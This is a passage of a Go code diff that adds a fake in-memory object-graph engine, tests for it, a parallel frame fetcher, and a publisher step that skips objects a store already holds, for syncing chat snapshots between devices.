"github.com/Agent-Field/codeaf/internal/cell" +) + +// fakeKeyID is the cell_key_id the fake writes into every frame header. +const fakeKeyID = "0123456789abcdef0123456789abcdef" + +// maxWant is how many remote ids one Want answers, as the engine does. +const maxWant = 1000 + +var objectMagic = []byte("AGEO\x01") + +// The fake's two object kinds. Each kind knows how to name its children, so +// walking the graph needs no switch on kind. +const ( + kindBlob byte = 'b' + kindSnap byte = 's' +) + +var childrenOf = map[byte]func(payload []byte) ([]string, error){ + kindBlob: func([]byte) ([]string, error) { return nil, nil }, + kindSnap: snapshotChildren, +} + +// snapshot is the fake's tree and snapshot in one: the files of a turn and the +// snapshot of the turn before it. +type snapshot struct { + Parent string `json:"parent,omitempty"` + Files map[string]string `json:"files"` // path -> blob rid +} + +func snapshotChildren(payload []byte) ([]string, error) { + s, err := decodeSnapshot(payload) + if err != nil { + return nil, err + } + kids := make([]string, 0, len(s.Files)+1) + if s.Parent != "" { + kids = append(kids, s.Parent) + } + rids := make([]string, 0, len(s.Files)) + for _, rid := range s.Files { + rids = append(rids, rid) + } + sort.Strings(rids) + return append(kids, rids...), nil +} + +func decodeSnapshot(payload []byte) (s snapshot, err error) { + err = json.Unmarshal(payload, &s) + return s, err +} + +// pack builds an object: the engine magic, its kind, then the payload. Its rid +// is the hash of those bytes, so the same content always has the same rid. +func pack(kind byte, payload []byte) (rid string, raw []byte) { + raw = append(append(bytes.Clone(objectMagic), kind), payload...) + return ridOf(raw), raw +} + +func ridOf(raw []byte) string { + sum := sha256.Sum256(raw) + return hex.EncodeToString(sum[:]) +} + +// unpack is pack's inverse and refuses bytes the fake did not write. +func unpack(raw []byte) (kind byte, payload []byte, err error) { + if len(raw) <= len(objectMagic) || !bytes.HasPrefix(raw, objectMagic) { + return 0, nil, errors.New("fake engine: not an engine object") + } + return raw[len(objectMagic)], raw[len(objectMagic)+1:], nil +} + +// kids answers the rids an object points to. +func kids(raw []byte) ([]string, error) { + kind, payload, err := unpack(raw) + if err != nil { + return nil, err + } + fn, ok := childrenOf[kind] + if !ok { + return nil, fmt.Errorf("fake engine: unknown object kind %q", kind) + } + return fn(payload) +} + +// fakeCell is one cell's object graph and its published set on one device. +type fakeCell struct { + objects map[string][]byte + published map[string]bool + last string // head of the newest Seal, the parent of the next one +} + +// FakeEngine is a small real Engine: an in-memory object graph per cell that +// writes real frames and answers Want, Import and Materialize by walking it. +// Two FakeEngines are two devices; frames and inbox files are the only thing +// that passes between them. +type FakeEngine struct { + // Dir holds the outbox frame files. + Dir string + // MaxObjects closes a frame after this many objects; 0 puts them all in one. + MaxObjects int + + mu sync.Mutex + cells map[string]*fakeCell +} + +// NewFakeEngine returns an engine that keeps its frame files under dir. +func NewFakeEngine(dir string) *FakeEngine { + return &FakeEngine{Dir: dir, cells: map[string]*fakeCell{}} +} + +// Ledger returns an engine over the same local objects that has published +// nothing: what a device's store looks like to a second identity, whose ledger +// starts empty. Frames go under dir. +func (f *FakeEngine) Ledger(dir string) *FakeEngine { + f.mu.Lock() + defer f.mu.Unlock() + other := NewFakeEngine(dir) + other.MaxObjects = f.MaxObjects + for id, fc := range f.cells { + other.cells[id] = &fakeCell{objects: maps.Clone(fc.objects), published: map[string]bool{}, last: fc.last} + } + return other +} + +func (f *FakeEngine) cell(c cell.Cell) *fakeCell { + fc, ok := f.cells[c.ID] + if !ok { + fc = &fakeCell{objects: map[string][]byte{}, published: map[string]bool{}} + f.cells[c.ID] = fc + } + return fc +} + +// Seal records a turn holding files (path -> content) on top of the previous +// one and returns its head. +func (f *FakeEngine) Seal(c cell.Cell, files map[string]string) string { + f.mu.Lock() + defer f.mu.Unlock() + fc := f.cell(c) + snap := snapshot{Parent: fc.last, Files: map[string]string{}} + for path, content := range files { + rid, raw := pack(kindBlob, []byte(content)) + fc.objects[rid] = raw + snap.Files[path] = rid + } + payload, _ := json.Marshal(snap) // a struct of strings cannot fail to encode + head, raw := pack(kindSnap, payload) + fc.objects[head] = raw + fc.last = head + return head +} + +// Export implements Engine. +func (f *FakeEngine) Export(_ context.Context, c cell.Cell, head string) (Export, error) { + f.mu.Lock() + defer f.mu.Unlock() + fc := f.cell(c) + order, err := fc.unsent(head) + if err != nil { + return Export{}, err + } + ex := Export{HeadRID: head} + for _, part := range f.split(order) { + ff, err := f.writeFrame(c, fc, part) + if err != nil { + return Export{}, err + } + ex.Frames = append(ex.Frames, ff) + ex.Objects += ff.Objects + ex.Bytes += ff.Bytes + } + return ex, nil +} + +// unsent lists the objects reachable from head that were not published, +// children before the objects that name them. +func (fc *fakeCell) unsent(head string) ([]string, error) { + var order []string + seen := map[string]bool{} + var visit func(rid string) error + visit = func(rid string) error { + if seen[rid] || fc.published[rid] { + return nil + } + seen[rid] = true + raw, ok := fc.objects[rid] + if !ok { + return fmt.Errorf("fake engine: object %s is not held here", rid) + } + children, err := kids(raw) + if err != nil { + return err + } + for _, k := range children { + if err := visit(k); err != nil { + return err + } + } + order = append(order, rid) + return nil + } + return order, visit(head) +} + +// split cuts order into frames of at most MaxObjects objects. +func (f *FakeEngine) split(order []string) [][]string { + if len(order) == 0 { + return nil + } + if f.MaxObjects <= 0 { + return [][]string{order} + } + var parts [][]string + for len(order) > f.MaxObjects { + parts = append(parts, order[:f.MaxObjects]) + order = order[f.MaxObjects:] + } + return append(parts, order) +} + +// writeFrame encodes rids as one frame file named by the frame's own id, so +// exporting twice writes the same file. +func (f *FakeEngine) writeFrame(c cell.Cell, fc *fakeCell, rids []string) (FrameFile, error) { + objects := make([]blobstore.Object, len(rids)) + for i, rid := range rids { + objects[i] = blobstore.Object{RID: rid, Bytes: fc.objects[rid]} + } + frame, err := blobstore.Encode(fakeKeyID, objects) + if err != nil { + return FrameFile{}, err + } + dir := filepath.Join(f.Dir, "outbox", c.ID) + if err := os.MkdirAll(dir, 0o700); err != nil { + return FrameFile{}, err + } + path := filepath.Join(dir, blobstore.IDOf(frame)+".frame") + if err := os.WriteFile(path, frame, 0o600); err != nil { + return FrameFile{}, err + } + return FrameFile{Path: path, Objects: len(rids), Bytes: int64(len(frame))}, nil +} + +// Published implements Engine. +func (f *FakeEngine) Published(_ context.Context, c cell.Cell, frames []string) error { + f.mu.Lock() + defer f.mu.Unlock() + fc := f.cell(c) + for _, path := range frames { + frame, err := os.ReadFile(path) + if err != nil { + return err + } + _, objects, err := blobstore.Decode(frame) + if err != nil { + return err + } + for _, o := range objects { + fc.published[o.RID] = true + } + if err := os.Remove(path); err != nil { + return err + } + } + return nil +} + +// Holds implements Engine: the fake's ledger is its published set. +func (f *FakeEngine) Holds(c cell.Cell) bool { + f.mu.Lock() + defer f.mu.Unlock() + return len(f.cell(c).published) > 0 +} + +// Want implements Engine: breadth first from head, an absent object is wanted +// and its children are not yet known. +func (f *FakeEngine) Want(_ context.Context, c cell.Cell, head string) ([]string, error) { + f.mu.Lock() + defer f.mu.Unlock() + return f.cell(c).want(head) +} + +func (fc *fakeCell) want(head string) ([]string, error) { + var want []string + seen := map[string]bool{head: true} + for queue := []string{head}; len(queue) > 0 && len(want) < maxWant; queue = queue[1:] { + rid := queue[0] + raw, ok := fc.objects[rid] + if !ok { + want = append(want, rid) + continue + } + children, err := kids(raw) + if err != nil { + return nil, err + } + for _, k := range children { + if !seen[k] { + seen[k] = true + queue = append(queue, k) + } + } + } + return want, nil +} + +// Import implements Engine. It checks every file before it stores any, so a +// bad file leaves the graph as it was. +func (f *FakeEngine) Import(_ context.Context, c cell.Cell, head, inbox string) (int, error) { + f.mu.Lock() + defer f.mu.Unlock() + fc := f.cell(c) + wanted, err := fc.want(head) + if err != nil { + return 0, err + } + files, err := readInbox(inbox, wanted) + if err != nil { + return 0, err + } + return f.store(fc, inbox, files) +} + +// ImportPrimed implements Engine. A primed inbox holds whole frames, many +// layers of the graph at once, so the import runs passes like the real one: +// each pass wants the frontier the store can now see and stores what the inbox +// holds of it. What no pass wanted — frame-mates the head orphaned — is +// deleted, never an error. +func (f *FakeEngine) ImportPrimed(_ context.Context, c cell.Cell, head, inbox string) (int, error) { + f.mu.Lock() + defer f.mu.Unlock() + total, err := f.passes(f.cell(c), head, inbox) + if err != nil { + return total, err + } + entries, err := os.ReadDir(inbox) + if err != nil { + return total, err + } + for _, e := range entries { + if err := os.Remove(filepath.Join(inbox, e.Name())); err != nil { + return total, err + } + } + return total, nil +} + +// ImportPartial implements Engine: the passes of ImportPrimed and nothing +// else. Files no pass wanted stay, because the frames that name their parents +// may not have landed yet. +func (f *FakeEngine) ImportPartial(_ context.Context, c cell.Cell, head, inbox string) (int, error) { + f.mu.Lock() + defer f.mu.Unlock() + return f.passes(f.cell(c), head, inbox) +} + +// passes stores, pass by pass, every inbox file the graph can now see, and +// answers how many it stored. +func (f *FakeEngine) passes(fc *fakeCell, head, inbox string) (int, error) { + total := 0 + for { + wanted, err := fc.want(head) + if err != nil { + return 0, err + } + if len(wanted) == 0 { + return total, nil + } + isWanted := map[string]bool{} + for _, rid := range wanted { + isWanted[rid] = true + } + took := map[string][]byte{} + entries, err := os.ReadDir(inbox) + if err != nil { + return 0, err + } + for _, e := range entries { + if !isWanted[e.Name()] { + continue + } + raw, err := readVerified(inbox, e.Name(), isWanted) + if err != nil { + return total, err + } + took[e.Name()] = raw + } + if len(took) == 0 { + return total, nil // a wanted rid the inbox lacks is the want loop's next fetch + } + n, err := f.store(fc, inbox, took) + if err != nil { + return total, err + } + total += n + } +} + +// store moves verified files into the cell's graph: what the store handed +// over is in the store, so it is never sent back. +func (f *FakeEngine) store(fc *fakeCell, inbox string, files map[string][]byte) (int, error) { + for rid, raw := range files { + fc.objects[rid] = raw + fc.published[rid] = true + if err := os.Remove(filepath.Join(inbox, rid)); err != nil { + return 0, err + } + } + return len(files), nil +} + +// readInbox loads every file in inbox, each of which must be wanted and must +// hash to its own name. +func readInbox(inbox string, wanted []string) (map[string][]byte, error) { + entries, err := os.ReadDir(inbox) + if err != nil { + return nil, err + } + isWanted := map[string]bool{} + for _, rid := range wanted { + isWanted[rid] = true + } + files := map[string][]byte{} + for _, e := range entries { + raw, err := readVerified(inbox, e.Name(), isWanted) + if err != nil { + return nil, err + } + files[e.Name()] = raw + } + return files, nil +} + +// readVerified loads one inbox file, which must be wanted and must hash to +// its own name. +func readVerified(inbox, rid string, wanted map[string]bool) ([]byte, error) { + if !wanted[rid] { + return nil, fmt.Errorf("fake engine: object %s was not wanted", rid) + } + raw, err := os.ReadFile(filepath.Join(inbox, rid)) + if err != nil { + return nil, err + } + if _, _, err := unpack(raw); err != nil || ridOf(raw) != rid { + return nil, fmt.Errorf("fake engine: object %s failed verification", rid) + } + return raw, nil +} + +// Materialize implements Engine: it writes the files of head's snapshot under +// the cell's folder. +func (f *FakeEngine) Materialize(_ context.Context, c cell.Cell, head string) error { + f.mu.Lock() + defer f.mu.Unlock() + fc := f.cell(c) + if missing, err := fc.want(head); err != nil || len(missing) > 0 { + return fmt.Errorf("fake engine: head %s is incomplete (missing %v, err %v)", head, missing, err) + } + _, payload, err := unpack(fc.objects[head]) + if err != nil { + return err + } + snap, err := decodeSnapshot(payload) + if err != nil { + return err + } + return fc.writeFiles(c.Root, snap) +} + +// writeFiles restores snap over root the way the real engine does: a file +// that already holds the right bytes is left alone, a file that differs is +// replaced by a new file renamed over it (never written in place, because the +// old one may be a hard link that another tree still reads), and a file the +// snapshot does not hold is removed. +func (fc *fakeCell) writeFiles(root string, snap snapshot) error { + for path, rid := range snap.Files { + _, content, err := unpack(fc.objects[rid]) + if err != nil { + return err + } + if err := replaceFile(filepath.Join(root, path), content); err != nil { + return err + } + } + return removeAbsent(root, snap) +} + +func replaceFile(target string, content []byte) error { + if have, err := os.ReadFile(target); err == nil && bytes.Equal(have, content) { + return nil + } + if err := os.MkdirAll(filepath.Dir(target), 0o700); err != nil { + return err + } + next := target + ".fake-new" + if err := os.WriteFile(next, content, 0o600); err != nil { + return err + } + return fsreplace.Rename(next, target) +} + +func removeAbsent(root string, snap snapshot) error { + return filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() { + return err + } + rel, _ := filepath.Rel(root, path) + if _, kept := snap.Files[filepath.ToSlash(rel)]; kept { + return nil + } + return os.Remove(path) + }) +} diff --git a/internal/cellsync/fake_test.go b/internal/cellsync/fake_test.go new file mode 100644 index 0000000000..9e579a6eb2 --- /dev/null +++ b/internal/cellsync/fake_test.go @@ -0,0 +1,98 @@ +package cellsync + +import ( + "context" + "os" + "path/filepath" + "reflect" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" +) + +func TestFakeEngineRoundTrip(t *testing.T) { + ctx := context.Background() + store := blobstore.NewMemory() + a := NewFakeEngine(t.TempDir()) + src := cell.Cell{ID: cellID, Root: t.TempDir()} + a.Seal(src, map[string]string{"a.txt": "one"}) + head := a.Seal(src, map[string]string{"a.txt": "one", "dir/b.txt": "two"}) + + ex, err := a.Export(ctx, src, head) + if err != nil || ex.HeadRID != head || ex.Objects == 0 || len(ex.Frames) != 1 { + t.Fatalf("export = %+v, %v", ex, err) + } + var paths []string + for _, f := range ex.Frames { + frame, err := os.ReadFile(f.Path) + if err != nil { + t.Fatal(err) + } + if _, err := store.PutFrame(ctx, frame); err != nil { + t.Fatalf("store refused the fake's frame: %v", err) + } + paths = append(paths, f.Path) + } + if err := a.Published(ctx, src, paths); err != nil { + t.Fatal(err) + } + if again, _ := a.Export(ctx, src, head); len(again.Frames) != 0 { + t.Fatalf("a published head exported again: %+v", again) + } + + b := NewFakeEngine(t.TempDir()) + dst := cell.Cell{ID: cellID, Root: t.TempDir()} + inbox := t.TempDir() + for { + want, err := b.Want(ctx, dst, head) + if err != nil { + t.Fatal(err) + } + if len(want) == 0 { + break + } + for _, rid := range want { + raw, err := store.Get(ctx, rid) + if err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(inbox, rid), raw, 0o600); err != nil { + t.Fatal(err) + } + } + if n, err := b.Import(ctx, dst, head, inbox); err != nil || n != len(want) { + t.Fatalf("import = %d, %v; want %d", n, err, len(want)) + } + } + if err := b.Materialize(ctx, dst, head); err != nil { + t.Fatal(err) + } + want := map[string]string{"a.txt": "one", "dir/b.txt": "two"} + if got := readFiles(t, dst.Root); !reflect.DeepEqual(got, want) { + t.Fatalf("materialized %v, want %v", got, want) + } +} + +func TestFakeEngineImportRefusesUnwantedOrTamperedObjects(t *testing.T) { + ctx := context.Background() + a := NewFakeEngine(t.TempDir()) + c := cell.Cell{ID: cellID, Root: t.TempDir()} + head := a.Seal(c, map[string]string{"a": "x"}) + + b := NewFakeEngine(t.TempDir()) + inbox := t.TempDir() + rid, raw := pack(kindBlob, []byte("stranger")) + os.WriteFile(filepath.Join(inbox, rid), raw, 0o600) + if _, err := b.Import(ctx, c, head, inbox); err == nil { + t.Fatal("an unwanted object was imported") + } + os.Remove(filepath.Join(inbox, rid)) + os.WriteFile(filepath.Join(inbox, head), raw, 0o600) // right name, other bytes + if _, err := b.Import(ctx, c, head, inbox); err == nil { + t.Fatal("a tampered object was imported") + } + if want, _ := b.Want(ctx, c, head); len(want) != 1 { + t.Fatalf("a refused import changed the graph: want %v", want) + } +} diff --git a/internal/cellsync/fetch.go b/internal/cellsync/fetch.go new file mode 100644 index 0000000000..73e5b6d533 --- /dev/null +++ b/internal/cellsync/fetch.go @@ -0,0 +1,272 @@ +package cellsync + +import ( + "context" + "errors" + "fmt" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "os" + "path/filepath" + "sync" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// FetchWindow is the most frame fetches a take has in flight at once +// (contract §22.6). +const FetchWindow = 8 + +// ImportEvery is how many frames land between two partial imports (contract +// §22.12): each import walks what is stored so far, so asking after every +// frame would pay the walk many times for little new work. +const ImportEvery = 4 + +// Fetcher brings a head and everything it needs from the store onto this device. +type Fetcher struct { + Engine Engine + Store blobstore.Store + // Dir reads the cell's record for the plan (contract §22.2). Nil means no + // priming: the fetch is exactly the want loop (rotation uses it that way). + Dir directory.Client + Inbox func(c cell.Cell) string + OnProgress func(have, want int) // optional; want grows as the graph is learned +} + +// Fetch completes head in the store and then materializes it. A rid the +// store does not hold is an error that names it. +func (f *Fetcher) Fetch(ctx context.Context, c cell.Cell, head string) error { + if err := f.Complete(ctx, c, head); err != nil { + return err + } + return f.Engine.Materialize(ctx, c, head) +} + +// Complete is Fetch without the restore: everything head needs is in the +// device's store afterwards and the folder the person works in is not touched. +// It is how a device holds a chat's objects without taking the chat over. +func (f *Fetcher) Complete(ctx context.Context, c cell.Cell, head string) error { + inbox := f.Inbox(c) + if err := os.MkdirAll(inbox, 0o700); err != nil { + return err + } + // Priming works in an inbox of its own beside the shared one: a device's + // daemon fetches a head it watches through the same inbox the take uses, + // and a primed import deletes what no pass wanted — in a shared inbox that + // is another fetcher's file, read one moment and gone the next. Each + // priming owns its own files and the strict loop never sees them. + if err := f.prime(ctx, c, head, inbox+".prime"); err != nil { + return err + } + have, known := 0, 0 + for { + want, err := f.Engine.Want(ctx, c, head) + if err != nil { + return err + } + if len(want) == 0 { + return nil + } + known += len(want) + n, err := f.round(ctx, c, head, inbox, want) + if err != nil { + return err + } + have += n + f.progress(have, known) + } +} + +// round gets every wanted rid and imports them. An import that takes nothing +// would repeat forever, so it is an error. +func (f *Fetcher) round(ctx context.Context, c cell.Cell, head, inbox string, want []string) (int, error) { + if err := f.gather(ctx, inbox, want); err != nil { + return 0, err + } + n, err := f.Engine.Import(ctx, c, head, inbox) + if err == nil && n == 0 { + err = errors.New("cellsync: import took none of the wanted objects") + } + return n, err +} + +// gather brings every wanted object into the inbox, a frame's worth per request: +// the store answers a prefix of what is asked, and the rest is asked again. An +// object the store does not hold is an error that names it. +func (f *Fetcher) gather(ctx context.Context, inbox string, want []string) error { + for len(want) > 0 { + batch := want[:min(len(want), blobstore.MaxGetMany)] + objects, err := f.Store.GetMany(ctx, batch) + if err != nil { + return fmt.Errorf("cellsync: fetch object %s: %w", batch[0], err) + } + if len(objects) == 0 { + return fmt.Errorf("cellsync: the store answered no object for %s", batch[0]) + } + if err := keep(inbox, objects); err != nil { + return err + } + want = want[len(objects):] + } + return nil +} + +// prime reads the plan the record holds for the cell and fetches the frames +// it names, then runs one ImportPrimed over what they carried (contract §22.5). +// It is an optimisation only: a record that names no frames, a frame that is +// absent or undecodable, a store that cannot be asked, and even an import +// that refuses what priming delivered all degrade into the want loop, which +// is the completeness proof of every take. Only a local failure — the inbox — +// is an error. A refusing import is a degrade, not an error, because the loop +// fetches objects by rid through the index and may be served from a frame +// priming never named; the files priming wrote are removed first, so the +// strict import of the loop never sees them. +func (f *Fetcher) prime(ctx context.Context, c cell.Cell, head, inbox string) error { + if f.Dir == nil { + return nil // no directory, no plan: exactly today's want loop + } + if err := os.MkdirAll(inbox, 0o700); err != nil { + return err + } + defer os.RemoveAll(inbox) + // A device that already exchanged objects with this relay holds most of the + // chat: the plan names its whole upload history, so priming it would + // download what it has to learn about a one-file change. The want loop + // fetches a warm take's delta by rid. + if f.Engine.Holds(c) { + return nil + } + // A device that already holds the head wants nothing, and needs no frames. + want, err := f.Engine.Want(ctx, c, head) + if err != nil || len(want) == 0 { + return nil + } + view, err := f.Dir.Cell(ctx, c.ID) + if err != nil || len(view.Cell.Frames) == 0 { + return nil + } + lap := startOverlap(ctx, f.Engine, c, head, inbox) + err = f.fetchFrames(ctx, inbox, view.Cell.Frames, lap.landed) + lap.finish() + if err != nil { + return err + } + if _, err := f.Engine.ImportPrimed(ctx, c, head, inbox); err != nil { + clearInbox(inbox) + return nil + } + return nil +} + +// clearInbox removes what priming left in it: the loop's own import refuses +// files no survey wanted, and a degraded priming must not poison it. +func clearInbox(inbox string) { + entries, err := os.ReadDir(inbox) + if err != nil { + return + } + for _, e := range entries { + _ = os.Remove(filepath.Join(inbox, e.Name())) + } +} + +// fetchFrames writes the objects of every frame the store holds to the inbox, +// FetchWindow fetches in flight at once. A frame the store does not hold, or +// one that fails Decode, is skipped: the want loop asks for what it carried. +// Downloads race each other but writes go through sink: two frames can carry +// the same object, and one rid is written once, by one goroutine. +func (f *Fetcher) fetchFrames(ctx context.Context, inbox string, frames []string, landed func()) error { + sink := &frameSink{written: map[string]bool{}} + window := make(chan struct{}, FetchWindow) + var wg sync.WaitGroup + for _, id := range frames { + if sink.failed() { + break // the inbox already refused a write; the rest is wasted work + } + select { + case window <- struct{}{}: + case <-ctx.Done(): + wg.Wait() + return ctx.Err() + } + wg.Add(1) + go func() { + defer wg.Done() + defer func() { <-window }() + frame, err := f.Store.GetFrame(ctx, id) + if err != nil { + return + } + _, objects, err := blobstore.Decode(frame) + if err != nil { + return + } + sink.keep(inbox, objects) + landed() + }() + } + wg.Wait() + return sink.err +} + +// frameSink serializes priming writes: one rid lands once, and the first local +// failure is kept for the caller. +type frameSink struct { + mu sync.Mutex + written map[string]bool + err error +} + +func (s *frameSink) keep(inbox string, objects []blobstore.Object) { + s.mu.Lock() + defer s.mu.Unlock() + if s.err != nil { + return + } + for _, o := range objects { + if s.written[o.RID] { + continue + } + if err := writeWhole(inbox, o); err != nil { + s.err = err + return + } + s.written[o.RID] = true + } +} + +// writeWhole puts an object in the inbox under its rid only once every byte is +// there: a partial import may list the inbox while frames still land, and it +// skips dot names, so the file is written under one and renamed. +func writeWhole(inbox string, o blobstore.Object) error { + tmp := filepath.Join(inbox, "."+o.RID) + if err := os.WriteFile(tmp, o.Bytes, 0o600); err != nil { + return err + } + return fsreplace.Rename(tmp, filepath.Join(inbox, o.RID)) +} + +// failed reports whether a write has already been refused, so the spawn +// loop can stop asking for frames the inbox can no longer take. +func (s *frameSink) failed() bool { + s.mu.Lock() + defer s.mu.Unlock() + return s.err != nil +} + +// keep writes each object to the inbox under its remote id, the name Import reads it by. +func keep(inbox string, objects []blobstore.Object) error { + for _, o := range objects { + if err := os.WriteFile(filepath.Join(inbox, o.RID), o.Bytes, 0o600); err != nil { + return err + } + } + return nil +} + +func (f *Fetcher) progress(have, want int) { + if f.OnProgress != nil { + f.OnProgress(have, want) + } +} diff --git a/internal/cellsync/fetch_test.go b/internal/cellsync/fetch_test.go new file mode 100644 index 0000000000..2a1f37bd5e --- /dev/null +++ b/internal/cellsync/fetch_test.go @@ -0,0 +1,113 @@ +package cellsync + +import ( + "context" + "errors" + "fmt" + "path/filepath" + "reflect" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" +) + +// fetcherFor is a second device's fetcher over store, with its own engine. +func fetcherFor(t *testing.T, store blobstore.Store) (*Fetcher, cell.Cell) { + t.Helper() + c := cell.Cell{ID: cellID, Root: t.TempDir()} + inbox := t.TempDir() + return &Fetcher{ + Engine: NewFakeEngine(t.TempDir()), + Store: store, + Inbox: func(c cell.Cell) string { return filepath.Join(inbox, c.ID) }, + }, c +} + +func TestFetchMaterializesHead(t *testing.T) { + r := newRig(t) + r.publishFirst(map[string]string{"a": "one"}) + head := r.seal(map[string]string{"a": "one", "sub/b": "two"}) + if err := r.pub.Publish(context.Background(), r.drv, head, r.info()); err != nil { + t.Fatal(err) + } + f, c := fetcherFor(t, r.mem) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + want := map[string]string{"a": "one", "sub/b": "two"} + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, want) { + t.Fatalf("materialized %v, want %v", got, want) + } +} + +func TestFetchNamesMissingRid(t *testing.T) { + r := newRig(t) + head := r.publishFirst(map[string]string{"a": "one"}) + f, c := fetcherFor(t, blobstore.NewMemory()) // a store that never got the objects + err := f.Fetch(context.Background(), c, head) + if !errors.Is(err, blobstore.ErrNotFound) || !strings.Contains(err.Error(), head) { + t.Fatalf("fetch = %v, want ErrNotFound naming %s", err, head) + } +} + +func TestFetchReportsProgress(t *testing.T) { + r := newRig(t) + r.publishFirst(map[string]string{"a": "one"}) + head := r.seal(map[string]string{"a": "one", "b": "two"}) + if err := r.pub.Publish(context.Background(), r.drv, head, r.info()); err != nil { + t.Fatal(err) + } + f, c := fetcherFor(t, r.mem) + var have, want []int + f.OnProgress = func(h, w int) { have, want = append(have, h), append(want, w) } + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + if len(have) < 2 { + t.Fatalf("expected one report per round, got %v of %v", have, want) + } + for i := 1; i < len(have); i++ { + if have[i] <= have[i-1] || want[i] < want[i-1] { + t.Fatalf("progress went backwards: have %v want %v", have, want) + } + } + if last := len(have) - 1; have[last] != want[last] { + t.Fatalf("finished with %d of %d", have[last], want[last]) + } +} + +// A takeover asks the store once per frame's worth of objects, not once per +// object: three hundred small files are a handful of requests. +func TestFetchAsksOncePerBatchNotOncePerObject(t *testing.T) { + r := newRig(t) + files := map[string]string{} + for i := range 300 { + files[fmt.Sprintf("f%03d", i)] = fmt.Sprint("body ", i) + } + head := r.publishFirst(files) + f, c := fetcherFor(t, r.mem) + before := gets(r.mem) + if err := f.Fetch(context.Background(), c, head); err != nil { + t.Fatal(err) + } + objects := 301 // a blob for each file, and the snapshot + if got, most := gets(r.mem)-before, 2*(objects/blobstore.MaxGetMany+2); got > most { + t.Fatalf("%d store requests for %d objects, want at most %d", got, objects, most) + } + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, files) { + t.Fatalf("materialized %d files, want %d", len(got), len(files)) + } +} + +// gets counts the get requests a Memory store has answered. +func gets(m *blobstore.Memory) int { + n := 0 + for _, op := range m.Log() { + if op.Kind == "get" { + n++ + } + } + return n +} diff --git a/internal/cellsync/held.go b/internal/cellsync/held.go new file mode 100644 index 0000000000..f7dc84df14 --- /dev/null +++ b/internal/cellsync/held.go @@ -0,0 +1,176 @@ +package cellsync + +import ( + "context" + "os" + "path/filepath" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" +) + +// askFloor is the smallest export worth a question. Asking costs one request +// and about seventy bytes an object, so it only pays when what would be sent +// is large; an ordinary turn sends less than this and is never asked about. +// A device whose ledger lacks a whole chat (it followed a rotation, pointed at +// a relay that already holds the chat, or lost its ledger) sends far more. +const askFloor = 64 << 10 + +// skipHeld removes from ex every object the store already holds, and records +// those objects as published so no later export offers them again. The ledger +// only knows what this device sent or took, so on a store it never published to +// every object looks unsent and the whole chat would cross the wire again even +// though the store dedups it. Asking is an optimisation: when the question +// fails the export is returned whole, and the puts that follow report the real +// error. +func (p *Publisher) skipHeld(ctx context.Context, c cell.Cell, ex Export) Export { + if ex.Bytes < askFloor { + return ex + } + held, err := p.holdings(ctx, ex.Frames) + if err != nil || len(held) == 0 { + return ex + } + out, err := p.sieve(ctx, c, ex.Frames, held) + if err != nil { + return ex + } + out.HeadRID = ex.HeadRID + return out +} + +// holdings asks the store, MaxHas ids to a request, which of the objects the +// frames carry it already holds. +func (p *Publisher) holdings(ctx context.Context, frames []FrameFile) (map[string]bool, error) { + var rids []string + for _, f := range frames { + got, err := ridsIn(f.Path) + if err != nil { + return nil, err + } + rids = append(rids, got...) + } + held := map[string]bool{} + for len(rids) > 0 { + n := min(blobstore.MaxHas, len(rids)) + have, err := p.Store.Has(ctx, rids[:n]) + if err != nil { + return nil, err + } + for i, h := range have { + held[rids[i]] = h + } + rids = rids[n:] + } + return held, nil +} + +func ridsIn(path string) ([]string, error) { + frame, err := os.ReadFile(path) + if err != nil { + return nil, err + } + h, _, err := blobstore.Decode(frame) + if err != nil { + return nil, err + } + rids := make([]string, len(h.Objects)) + for i, o := range h.Objects { + rids[i] = o.RID + } + return rids, nil +} + +// sieve rewrites each frame into the part the store lacks, which is still to be +// sent, and the part it holds, which is recorded at once. A frame with nothing +// held is left alone. The ledger is written only for objects the store answered +// for, so a wrong record is impossible and a lost one only costs bytes. +func (p *Publisher) sieve(ctx context.Context, c cell.Cell, frames []FrameFile, held map[string]bool) (Export, error) { + var out Export + var have, replaced []string + for _, f := range frames { + rest, kept, err := divide(f, held) + if err != nil { + return Export{}, err + } + have = append(have, kept...) + if rest.Path != f.Path { + replaced = append(replaced, f.Path) + } + if rest.Objects > 0 { + out.Frames = append(out.Frames, rest) + out.Objects += rest.Objects + out.Bytes += rest.Bytes + } + } + if err := p.Engine.Published(ctx, c, have); err != nil { + return Export{}, err + } + return out, removeAll(replaced) +} + +// divide splits one frame file by whether the store holds each object. It +// answers the file still to send and, when something was held, the file of the +// held objects to record. Both files are named by content beside the original, +// which the caller removes once the record is made, so a repeat after a crash writes the same files. +func divide(f FrameFile, held map[string]bool) (rest FrameFile, kept []string, err error) { + frame, err := os.ReadFile(f.Path) + if err != nil { + return FrameFile{}, nil, err + } + h, objects, err := blobstore.Decode(frame) + if err != nil { + return FrameFile{}, nil, err + } + have, lack := byHolding(objects, held) + if len(have) == 0 { + return f, nil, nil + } + record, err := writeBeside(f.Path, h.CellKeyID, have) + if err != nil { + return FrameFile{}, nil, err + } + if len(lack) > 0 { + if rest, err = writeBeside(f.Path, h.CellKeyID, lack); err != nil { + return FrameFile{}, nil, err + } + } + return rest, []string{record.Path}, nil +} + +// byHolding partitions objects into those the store holds and those it lacks. +func byHolding(objects []blobstore.Object, held map[string]bool) (have, lack []blobstore.Object) { + for _, o := range objects { + if held[o.RID] { + have = append(have, o) + } else { + lack = append(lack, o) + } + } + return have, lack +} + +// writeBeside encodes objects as a frame file next to path, named by the +// frame's own id like every frame the engine writes. +func writeBeside(path, keyID string, objects []blobstore.Object) (FrameFile, error) { + frame, err := blobstore.Encode(keyID, objects) + if err != nil { + return FrameFile{}, err + } + out := filepath.Join(filepath.Dir(path), blobstore.IDOf(frame)+filepath.Ext(path)) 